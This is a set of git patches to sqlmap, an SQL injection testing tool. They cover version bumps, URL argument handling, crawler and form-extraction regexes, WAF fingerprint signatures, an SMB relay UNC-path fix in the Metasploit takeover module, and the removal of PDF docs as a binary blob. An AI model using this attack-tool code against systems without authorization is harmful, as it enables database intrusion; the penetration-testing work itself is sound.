lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 681314e2644..182fc116881 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.25" +VERSION = "1.3.10.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 71feedad25a..8d7e36dd1c9 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -905,6 +905,8 @@ def _format_action_invocation(self, action): longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help())) if argv[i] == "-hh": argv[i] = "-h" + elif i == 1 and argv[i].startswith("http"): + argv[i] = "--url=%s" % argv[i] elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])): dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i]) raise SystemExit From 5cc36b452ef217496ff022100640c39087a4a14a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 2 Oct 2019 13:08:13 +0200 Subject: [PATCH 600/800] Minor improvement for crawling --- lib/core/settings.py | 2 +- lib/utils/crawler.py | 5 +++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 182fc116881..af988f7c402 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.0" +VERSION = "1.3.10.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 624f31dceef..98f1cf5441d 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -15,6 +15,7 @@ from lib.core.common import checkSameHost from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout +from lib.core.common import extractRegexResult from lib.core.common import findPageForms from lib.core.common import getSafeExString from lib.core.common import openFile @@ -92,7 +93,7 @@ def crawlThread(): soup = BeautifulSoup(content) tags = soup('a') - tags += re.finditer(r'(?i)]+href=["\'](?P[^>"\']+)', content) + tags += re.finditer(r'(?i)\b(href|src)=["\'](?P[^>"\']+)', content) for tag in tags: href = tag.get("href") if hasattr(tag, "get") else tag.group("href") @@ -111,7 +112,7 @@ def crawlThread(): elif not _: continue - if url.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS: + if (extractRegexResult(r"\A[^?]+\.(?P\w+)(\?|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS: with kb.locks.value: threadData.shared.deeper.add(url) if re.search(r"(.*?)\?(.+)", url): From 08d3228b5f5583b1bbe3dc8f2b14fcc89e923794 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 3 Oct 2019 14:38:46 +0200 Subject: [PATCH 601/800] Minor improvement of --forms (jquery) --- lib/core/common.py | 10 ++++++++++ lib/core/settings.py | 2 +- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 40df6f83f79..a835d20b34f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4471,6 +4471,16 @@ def geturl(self): else: logger.debug(errMsg) + for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content): + url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1))) + data = "" + + for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)): + data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER) + + data = data.rstrip(DEFAULT_GET_POST_DELIMITER) + retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None)) + if addToTargets and retVal: for target in retVal: kb.targets.add(target) diff --git a/lib/core/settings.py b/lib/core/settings.py index af988f7c402..87d763a4d59 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.1" +VERSION = "1.3.10.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c8a4e6378fde1105a6cc06ec29c2d80cde9571c3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 3 Oct 2019 15:09:59 +0200 Subject: [PATCH 602/800] Minor improvement for --forms --- lib/controller/controller.py | 4 +- lib/core/common.py | 103 +++++++++++++++++++---------------- lib/core/settings.py | 2 +- 3 files changed, 59 insertions(+), 50 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 9bd97ad163e..263c2827646 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -374,7 +374,7 @@ def start(): message += "\nCookie: %s" % conf.cookie if conf.data is not None: - message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "") + message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data) if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: @@ -389,7 +389,7 @@ def start(): break else: if conf.method != HTTPMETHOD.GET: - message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") + message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data diff --git a/lib/core/common.py b/lib/core/common.py index a835d20b34f..45cdfea5f5a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4417,59 +4417,52 @@ def geturl(self): except: pass - if forms: - for form in forms: - try: - for control in form.controls: - if hasattr(control, "items") and not any((control.disabled, control.readonly)): - # if control has selectable items select first non-disabled - for item in control.items: - if not item.disabled: - if not item.selected: - item.selected = True - break - - if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""): - dbgMsg = "skipping '%s'" % form.action - logger.debug(dbgMsg) - continue + for form in forms or []: + try: + for control in form.controls: + if hasattr(control, "items") and not any((control.disabled, control.readonly)): + # if control has selectable items select first non-disabled + for item in control.items: + if not item.disabled: + if not item.selected: + item.selected = True + break - request = form.click() - except (ValueError, TypeError) as ex: - errMsg = "there has been a problem while " - errMsg += "processing page forms ('%s')" % getSafeExString(ex) - if raise_: - raise SqlmapGenericException(errMsg) - else: - logger.debug(errMsg) + if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""): + dbgMsg = "skipping '%s'" % form.action + logger.debug(dbgMsg) + continue + + request = form.click() + except (ValueError, TypeError) as ex: + errMsg = "there has been a problem while " + errMsg += "processing page forms ('%s')" % getSafeExString(ex) + if raise_: + raise SqlmapGenericException(errMsg) else: - url = urldecode(request.get_full_url(), kb.pageEncoding) - method = request.get_method() - data = request.data - data = urldecode(data, kb.pageEncoding, spaceplus=False) + logger.debug(errMsg) + else: + url = urldecode(request.get_full_url(), kb.pageEncoding) + method = request.get_method() + data = request.data + data = urldecode(data, kb.pageEncoding, spaceplus=False) - if not data and method and method.upper() == HTTPMETHOD.POST: - debugMsg = "invalid POST form with blank data detected" - logger.debug(debugMsg) - continue + if not data and method and method.upper() == HTTPMETHOD.POST: + debugMsg = "invalid POST form with blank data detected" + logger.debug(debugMsg) + continue - # flag to know if we are dealing with the same target host - _ = checkSameHost(response.geturl(), url) + # flag to know if we are dealing with the same target host + _ = checkSameHost(response.geturl(), url) - if conf.scope: - if not re.search(conf.scope, url, re.I): - continue - elif not _: + if conf.scope: + if not re.search(conf.scope, url, re.I): continue - else: - target = (url, method, data, conf.cookie, None) - retVal.add(target) - else: - errMsg = "there were no forms found at the given target URL" - if raise_: - raise SqlmapGenericException(errMsg) - else: - logger.debug(errMsg) + elif not _: + continue + else: + target = (url, method, data, conf.cookie, None) + retVal.add(target) for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content): url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1))) @@ -4481,6 +4474,22 @@ def geturl(self): data = data.rstrip(DEFAULT_GET_POST_DELIMITER) retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None)) + for match in re.finditer(r"(?s)(\w+)\.open\(['\"]POST['\"],\s*['\"]([^'\"]+)['\"]\).*?\1\.send\(([^)]+)\)", content): + url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2))) + data = match.group(3) + + data = re.sub(r"\s*\+\s*[^\s'\"]+|[^\s'\"]+\s*\+\s*", "", data) + + data = data.strip("['\"]") + retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None)) + + if not retVal: + errMsg = "there were no forms found at the given target URL" + if raise_: + raise SqlmapGenericException(errMsg) + else: + logger.debug(errMsg) + if addToTargets and retVal: for target in retVal: kb.targets.add(target) diff --git a/lib/core/settings.py b/lib/core/settings.py index 87d763a4d59..37fa326fbcb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.2" +VERSION = "1.3.10.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 5f41d94602efcdc4329be938491629defaa9db7d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 4 Oct 2019 13:51:12 +0200 Subject: [PATCH 603/800] Minor update --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 37fa326fbcb..ca50518b8ca 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.3" +VERSION = "1.3.10.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 8d7e36dd1c9..72d204cb229 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -905,7 +905,7 @@ def _format_action_invocation(self, action): longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help())) if argv[i] == "-hh": argv[i] = "-h" - elif i == 1 and argv[i].startswith("http"): + elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None: argv[i] = "--url=%s" % argv[i] elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])): dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i]) From 57511ac9df53b65489b56891493f412d955c8190 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 4 Oct 2019 14:12:15 +0200 Subject: [PATCH 604/800] Trivial update --- lib/core/settings.py | 2 +- lib/request/basicauthhandler.py | 1 + lib/takeover/metasploit.py | 4 ++-- thirdparty/identywaf/data.json | 10 ++++++++++ thirdparty/identywaf/identYwaf.py | 8 +++++--- 5 files changed, 19 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ca50518b8ca..d4f53286534 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.4" +VERSION = "1.3.10.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index b24bfaa2b0e..58eec7d4ec4 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -12,6 +12,7 @@ class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler): Reference: http://selenic.com/hg/rev/6c51a5056020 Fix for a: http://bugs.python.org/issue8797 """ + def __init__(self, *args, **kwargs): _urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) self.retried_req = set() diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 83762aacabf..48fe9e3056a 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -692,9 +692,9 @@ def smb(self): self._runMsfCliSmbrelay() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile) + self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile) else: - self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile) + self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile) debugMsg = "Metasploit Framework console exited with return " debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) diff --git a/thirdparty/identywaf/data.json b/thirdparty/identywaf/data.json index 88b73aa674c..dd0d6f4a29e 100644 --- a/thirdparty/identywaf/data.json +++ b/thirdparty/identywaf/data.json @@ -356,6 +356,16 @@ "regex": "The (ISA Server|server) denied the specified Uniform Resource Locator \\(URL\\)", "signatures": [] }, + "ithemes": { + "company": "iThemes", + "name": "iThemes Security", + "regex": "", + "signatures": [ + "c70f:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX3uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "71ee:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1qQJLX2uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC" + ], + "note": "Formerly Better WP Security" + }, "janusec": { "company": "Janusec", "name": "Janusec Application Gateway", diff --git a/thirdparty/identywaf/identYwaf.py b/thirdparty/identywaf/identYwaf.py index 11cf811a2f8..80f0d71ce65 100755 --- a/thirdparty/identywaf/identYwaf.py +++ b/thirdparty/identywaf/identYwaf.py @@ -27,7 +27,9 @@ import time import zlib -if sys.version_info >= (3, 0): +PY3 = sys.version_info >= (3, 0) + +if PY3: import http.cookiejar import http.client as httplib import urllib.request @@ -58,7 +60,7 @@ HTTPCookieProcessor = urllib2.HTTPCookieProcessor NAME = "identYwaf" -VERSION = "1.0.114" +VERSION = "1.0.122" BANNER = r""" ` __ __ ` ____ ___ ___ ____ ______ `| T T` __ __ ____ _____ @@ -356,7 +358,7 @@ def init(): os.chdir(os.path.abspath(os.path.dirname(__file__))) # Reference: http://blog.mathieu-leplatre.info/python-utf-8-print-fails-when-redirecting-stdout.html - if IS_TTY: + if not PY3 and not IS_TTY: sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout) print(colorize("[o] initializing handlers...")) From 9fd4a4f0d12a698fc71fa1e8f7ffa8ebb9c64615 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 4 Oct 2019 14:15:05 +0200 Subject: [PATCH 605/800] Removing deprecated files (online versions available) --- doc/FAQ.pdf | Bin 312210 -> 0 bytes doc/README.pdf | Bin 494226 -> 0 bytes lib/core/settings.py | 2 +- 3 files changed, 1 insertion(+), 1 deletion(-) delete mode 100644 doc/FAQ.pdf delete mode 100644 doc/README.pdf diff --git a/doc/FAQ.pdf b/doc/FAQ.pdf deleted file mode 100644 index 0a17b98f32bb3923e724ec8ee66df84cdfdaa3a6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 312210 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 